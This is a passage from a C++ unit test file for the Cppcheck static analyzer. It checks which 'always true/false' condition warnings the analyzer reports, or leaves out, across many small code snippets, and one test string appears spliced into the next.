false;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" bool b;\\n\"\n \" bool f() {\\n\"\n \" b = false;\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(long maxtime) {\\n\"\n \" if (std::time(0) > maxtime)\\n\"\n \" return std::time(0) > maxtime;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double param) {\\n\"\n \" while(bar()) {\\n\"\n \" if (param<0.)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" if (param<0.)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i) {\\n\"\n \" if (i==42)\\n\"\n \" {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" if (cond && (42==i))\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 8842 crash\n check(\"class a {\\n\"\n \" int b;\\n\"\n \" c(b);\\n\"\n \" void f() {\\n\"\n \" if (b) return;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* x, const char* t) {\\n\"\n \" if (!(strcmp(x, y) == 0)) { return; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int a[]){ if (a == 0){} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" bool operator<(const S&);\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" S s;\\n\"\n \" bool c = s [test.cpp:3:9]: (style) Condition 'handle' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle == 0) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'handle' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle != 0) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (warning) Identical condition 'handle!=0', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle != nullptr) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (warning) Identical condition 'handle!=nullptr', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(void* x, void* y) {\\n\"\n \" if (x == nullptr && y == nullptr)\\n\"\n \" return;\\n\"\n \" if (x == nullptr || y == nullptr)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* g();\\n\"\n \"void f(void* a, void* b) {\\n\"\n \" while (a) {\\n\"\n \" a = g();\\n\"\n \" if (a == b)\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* g();\\n\"\n \"void f(void* a, void* b) {\\n\"\n \" while (a) {\\n\"\n \" a = g();\\n\"\n \" }\\n\"\n \" if (a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:6:9]: (style) Condition 'a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int * x, bool b) {\\n\"\n \" if (!x && b) {}\\n\"\n \" else if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const std::string x=\\\"xyz\\\";\\n\"\n \" if(!x.empty()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition '!x.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"std::string g();\\n\"\n \"void f() {\\n\"\n \" const std::string msg = g();\\n\"\n \" if(!msg.empty()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *array, int size ) {\\n\"\n \" for(int i = 0; i < size; ++i) {\\n\"\n \" if(array == 0)\\n\"\n \" continue;\\n\"\n \" if(array){}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Condition 'array' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int *array, int size ) {\\n\"\n \" for(int i = 0; i < size; ++i) {\\n\"\n \" if(array == 0)\\n\"\n \" continue;\\n\"\n \" else if(array){}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) Condition 'array' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9277\n check(\"int f() {\\n\"\n \" constexpr bool x = true;\\n\"\n \" if constexpr (x)\\n\"\n \" return 0;\\n\"\n \" else\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9954\n check(\"void f() {\\n\"\n \" const size_t a(8 * sizeof(short));\\n\"\n \" const size_t b(8 * sizeof(int));\\n\"\n \" if constexpr (a == 16 && b == 16) {}\\n\"\n \" else if constexpr (a == 16 && b == 32) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9319\n check(\"struct S {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void g(S s, bool& x);\\n\"\n \"void f() {\\n\"\n \" bool x = false;\\n\"\n \" g({0, 1}, x);\\n\"\n \" if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9318\n check(\"class A {};\\n\"\n \"class B : public A {};\\n\"\n \"void f(A* x) {\\n\"\n \" if (!x)\\n\"\n \" return;\\n\"\n \" auto b = dynamic_cast(x);\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" auto x = getX();\\n\"\n \" if (x == nullptr)\\n\"\n \" return 1;\\n\"\n \" auto y = dynamic_cast(x)\\n\"\n \" if (y == nullptr)\\n\"\n \" return 2;\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // handleKnownValuesInLoop\n check(\"bool g();\\n\"\n \"void f(bool x) {\\n\"\n \" if (x) while(x) x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // isLikelyStream\n check(\"void f(std::istringstream& iss) {\\n\"\n \" std::string x;\\n\"\n \" while (iss) {\\n\"\n \" iss >> x;\\n\"\n \" if (!iss) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9332\n check(\"struct A { void* g(); };\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" void* b = a.g();\\n\"\n \" if (!b) return;\\n\"\n \" void* c = a.g();\\n\"\n \" if (!c) return;\\n\"\n \" bool compare = c == b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9361\n check(\"void f(char c) {\\n\"\n \" if (c == '.') {}\\n\"\n \" else if (isdigit(c) != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9351\n check(\"int f(int x) {\\n\"\n \" const bool b = x < 42;\\n\"\n \" if(b) return b?0:-1;\\n\"\n \" return 42;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:3:18]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9362\n check(\"uint8_t g();\\n\"\n \"void f() {\\n\"\n \" const uint8_t v = g();\\n\"\n \" if((v != 0x00)) {\\n\"\n \" if( (v & 0x01) == 0x00) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9367\n check(\"void f(long x) {\\n\"\n \" if (x <= 0L)\\n\"\n \" return;\\n\"\n \" if (x % 360L == 0)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a, int b) {\\n\"\n \" static const int x = 10;\\n\"\n \" return x == 1 ? a : b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const bool x = false;\\n\"\n \"void f() {\\n\"\n \" if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const bool x = false;\\n\"\n \"void f() {\\n\"\n \" if (!x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9709\n check(\"void f(int a) {\\n\"\n \" bool ok = false;\\n\"\n \" const char * r = nullptr;\\n\"\n \" do_something(&r);\\n\"\n \" if (r != nullptr)\\n\"\n \" ok = a != 0;\\n\"\n \" if (ok) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9816\n check(\"bool g();\\n\"\n \"void f() {\\n\"\n \" bool b = false;\\n\"\n \" do {\\n\"\n \" do {\\n\"\n \" if (g())\\n\"\n \" break;\\n\"\n \" b = true;\\n\"\n \" } while(false);\\n\"\n \" } while(!b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9865\n check(\"void f(const std::string &s) {\\n\"\n \" for (std::string::const_iterator it = s.begin(); it != s.end(); ++it) {\\n\"\n \" const unsigned char c = static_cast(*it);\\n\"\n \" if (c == '0') {}\\n\"\n \" else if ((c == 'a' || c == 'A')\\n\"\n \" || (c == 'b' || c == 'B')) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9711\n check(\"int main(int argc, char* argv[]) {\\n\"\n \" int foo = 0;\\n\"\n \" struct option options[] = {\\n\"\n \" {\\\"foo\\\", no_argument, &foo, \\'f\\'},\\n\"\n \" {NULL, 0, NULL, 0},\\n\"\n \" };\\n\"\n \" getopt_long(argc, argv, \\\"f\\\", options, NULL);\\n\"\n \" if (foo) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: if (!v) is a known condition as well\n check(\"struct a {\\n\"\n \" int *b();\\n\"\n \"};\\n\"\n \"bool g(a c, a* d) {\\n\"\n \" a *v, *e = v = &c;\\n\"\n \" if (!v)\\n\"\n \" return true;\\n\"\n \" int *f = v->b();\\n\"\n \" if (f)\\n\"\n \" v = nullptr;\\n\"\n \" if (v == nullptr && e) {}\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:23]: (style) Condition 'e' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10037\n check(\"struct a {\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(a*);\\n\"\n \"void f() {\\n\"\n \" struct a b;\\n\"\n \" uint32_t p = (uint32_t) -1;\\n\"\n \" b.p = (void *) &p;\\n\"\n \" int r = g(&b);\\n\"\n \" if (r == 0)\\n\"\n \" if (p != (uint32_t) -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9890\n check(\"int g(int);\\n\"\n \"bool h(int*);\\n\"\n \"int f(int *x) {\\n\"\n \" int y = g(0);\\n\"\n \" if (!y) {\\n\"\n \" if (h(x)) {\\n\"\n \" y = g(1);\\n\"\n \" if (y) {}\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" if (!y) {}\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:11:13]: (style) Condition '!y' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10134\n check(\"bool foo(bool b);\\n\"\n \"bool thud(const std::vector& Arr, const std::wstring& Str) {\\n\"\n \" if (Arr.empty() && Str.empty())\\n\"\n \" return false;\\n\"\n \" bool OldFormat = Arr.empty() && !Str.empty();\\n\"\n \" if (OldFormat)\\n\"\n \" return foo(OldFormat);\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10208\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name{}; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name{'a', 'b'}; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(const std::string &first);\\n\"\n \"bool GetNext(const std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (style) Condition 'name.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10278\n check(\"void foo(unsigned int x) {\\n\"\n \" if ((100 - x) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10298\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10121\n check(\"struct AB {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"struct ABC {\\n\"\n \" AB* ab;\\n\"\n \"};\\n\"\n \"void g(ABC*);\\n\"\n \"int f(struct ABC *abc) {\\n\"\n \" int err = 0;\\n\"\n \" AB *ab = abc->ab;\\n\"\n \" if (ab->a == 123){\\n\"\n \" g(abc);\\n\"\n \" if (ab->a != 123) {\\n\"\n \" err = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return err;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10323\n check(\"void foo(int x) {\\n\"\n \" if(x)\\n\"\n \" if(x == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if(x) {}\\n\"\n \" else\\n\"\n \" if(x == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:4:14]: (style) Condition 'x==1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // do not report both unsignedLessThanZero and knownConditionTrueFalse\n check(\"void foo(unsigned int max) {\\n\"\n \" unsigned int num = max - 1;\\n\"\n \" if (num < 0) {}\\n\" // <- do not report knownConditionTrueFalse\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10297\n check(\"void foo(size_t len, int start) {\\n\"\n \" if (start < 0) {\\n\"\n \" start = len+start;\\n\"\n \" if (start < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10362\n check(\"int tok;\\n\"\n \"void next();\\n\"\n \"void parse_attribute() {\\n\"\n \" if (tok == '(') {\\n\"\n \" int parenthesis = 0;\\n\"\n \" do {\\n\"\n \" if (tok == '(')\\n\"\n \" parenthesis++;\\n\"\n \" else if (tok == ')')\\n\"\n \" parenthesis--;\\n\"\n \" next();\\n\"\n \" } while (parenthesis && tok != -1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7843\n check(\"void f(int i) {\\n\"\n \" if(abs(i) == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Condition 'abs(i)==-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #7844\n check(\"void f(int i) {\\n\"\n \" if(i > 0 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Condition 'abs(i)==i' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(i < 0 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:2:24]: (style) Condition 'abs(i)==i' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(i > -3 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9948\n check(\"bool f(bool a, bool b) {\\n\"\n \" return a || ! b || ! a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Return value '!a' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10148\n check(\"void f(int i) {\\n\"\n \" if (i >= 64) {}\\n\"\n \" else if (i >= 32) {\\n\"\n \" i &= 31;\\n\"\n \" if (i == 0) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10548\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" do {} while (i++ == 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10582\n check(\"static void fun(message_t *message) {\\n\"\n \" if (message->length >= 1) {\\n\"\n \" switch (data[0]) {}\\n\"\n \" }\\n\"\n \" uint8_t d0 = message->length > 0 ? data[0] : 0xff;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8266\n check(\"void f(bool b) {\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" if (g(&b) || b)\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9720\n check(\"bool bar(int &);\\n\"\n \"void f(int a, int b) {\\n\"\n \" if (a + b == 3)\\n\"\n \" return;\\n\"\n \" if (bar(a) && (a + b == 3)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10437\n check(\"void f() {\\n\"\n \" Obj* PObj = nullptr;\\n\"\n \" bool b = false;\\n\"\n \" if (GetObj(PObj) && PObj != nullptr)\\n\"\n \" b = true;\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10223\n check(\"static volatile sig_atomic_t is_running;\\n\"\n \"static void handler(int signum) {\\n\"\n \" is_running = 0;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" signal(SIGINT, &handler);\\n\"\n \" is_running = 1;\\n\"\n \" while (is_running) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10659\n check(\"auto func(const std::tuple& t) {\\n\"\n \" auto& [foo, bar] = t;\\n\"\n \" std::cout << foo << bar << std::endl;\\n\"\n \" return foo < bar;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10484\n check(\"void f() {\\n\"\n \" static bool init = true;\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static bool init(true);\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static bool init{ true };\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n // #10248\n check(\"void f() {\\n\"\n \" static int var(1);\\n\"\n \" if (var == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int var{ 1 };\\n\"\n \" if (var == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger = nullptr;\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger(nullptr);\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger{ nullptr };\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger = nullptr;\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger(nullptr);\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger{ nullptr };\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9256\n check(\"bool f() {\\n\"\n \" bool b = false;\\n\"\n \" b = true;\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10702\n check(\"struct Object {\\n\"\n \" int _count=0;\\n\"\n \" void increment() { ++_count;}\\n\"\n \" auto get() const { return _count; }\\n\"\n \"};\\n\"\n \"struct Modifier {\\n\"\n \"Object & _object;\\n\"\n \" explicit Modifier(Object & object) : _object(object) {}\\n\"\n \" void do_something() { _object.increment(); }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Object _object;\\n\"\n \" void foo() {\\n\"\n \" Modifier mod(_object);\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" mod.do_something();\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Object {\\n\"\n \" int _count=0;\\n\"\n \" auto get() const;\\n\"\n \"};\\n\"\n \"struct Modifier {\\n\"\n \"Object & _object;\\n\"\n \" explicit Modifier(Object & object);\\n\"\n \" void do_something();\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Object _object;\\n\"\n \" void foo() {\\n\"\n \" Modifier mod(_object);\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" mod.do_something();\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const uint32_t u) {\\n\"\n \"\tconst uint32_t v = u < 4;\\n\"\n \"\tif (v) {\\n\"\n \"\t\tconst uint32_t w = v < 2;\\n\"\n \"\t\tif (w) {}\\n\"\n \"\t}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style) Condition 'v<2' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:7]: (style) Condition 'w' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f(double d) {\\n\" // #10792\n \" if (d != 0) {\\n\"\n \" int i = (int)d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(double d) {\\n\"\n \" if (0 != d) {\\n\"\n \" int i = (int)d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { double d; }\\n\"\n \"void f(A a) {\\n\"\n \" if (a.d != 0) {\\n\"\n \" int i = a.d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if(strlen(\\\"abc\\\") == 3) {;}\\n\"\n \" if(strlen(\\\"abc\\\") == 1) {;}\\n\"\n \" if(wcslen(L\\\"abc\\\") == 3) {;}\\n\"\n \" if(wcslen(L\\\"abc\\\") == 1) {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Condition 'strlen(\\\"abc\\\")==3' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:22]: (style) Condition 'strlen(\\\"abc\\\")==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:23]: (style) Condition 'wcslen(L\\\"abc\\\")==3' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:23]: (style) Condition 'wcslen(L\\\"abc\\\")==1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int foo(bool a, bool b) {\\n\"\n \" if(!a && b && (!a == !b))\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:6] -> [test.cpp:2:21]: (style) Condition '!a==!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10454\n check(\"struct S {\\n\"\n \" int f() const { return g() ? 0 : 1; }\\n\"\n \" bool g() const { return u == 18446744073709551615ULL; }\\n\"\n \" unsigned long long u{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8358\n check(\"void f(double d) { if ((d * 0) != 0) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6870\n check(\"struct S {\\n\"\n \" int* p;\\n\"\n \" void f() const;\\n\"\n \" int g();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" if ((p == NULL) || ((p) && (g() >= *p))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Condition 'p' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10749\n check(\"struct Interface {\\n\"\n \" virtual int method() = 0;\\n\"\n \"};\\n\"\n \"struct Child : Interface {\\n\"\n \" int method() override { return 0; }\\n\"\n \" auto foo() {\\n\"\n \" if (method() == 0)\\n\"\n \" return true;\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct GrandChild : Child {\\n\"\n \" int method() override { return 1; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6855\n check(\"struct S { int i; };\\n\"\n \"void f(S& s) {\\n\"\n \" if (!(s.i > 0) && (s.i != 0))\\n\"\n \" s.i = 0;\\n\"\n \" else if (s.i < 0)\\n\"\n \" s.s = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15] -> [test.cpp:5:18]: (style) Condition 's.i<0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6857\n check(\"int bar(int i) { return i; }\\n\"\n \"void foo() {\\n\"\n \" if (bar(1) == 0 && bar(1) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Condition 'bar(1)==0' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:31]: (style) Condition 'bar(1)>0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S { int bar(int i) const; };\\n\"\n \"void foo(const S& s) {\\n\"\n \" if (s.bar(1) == 0 && s.bar(1) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (warning) Logical conjunction always evaluates to false: s.bar(1) == 0 && s.bar(1) > 0. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct B {\\n\" // #10618\n \" void Modify();\\n\"\n \" static void Static();\\n\"\n \" virtual void CalledByModify();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" void testV();\\n\"\n \" void testS();\\n\"\n \" void CalledByModify() override { i = 0; }\\n\"\n \"};\\n\"\n \"void D::testV() {\\n\"\n \" i = 1;\\n\"\n \" B::Modify();\\n\"\n \" if (i == 1) {}\\n\"\n \"}\\n\"\n \"void D::testS() {\\n\"\n \" i = 1;\\n\"\n \" B::Static();\\n\"\n \" if (i == 1) {}\\n\"\n \"}\\n\");\n 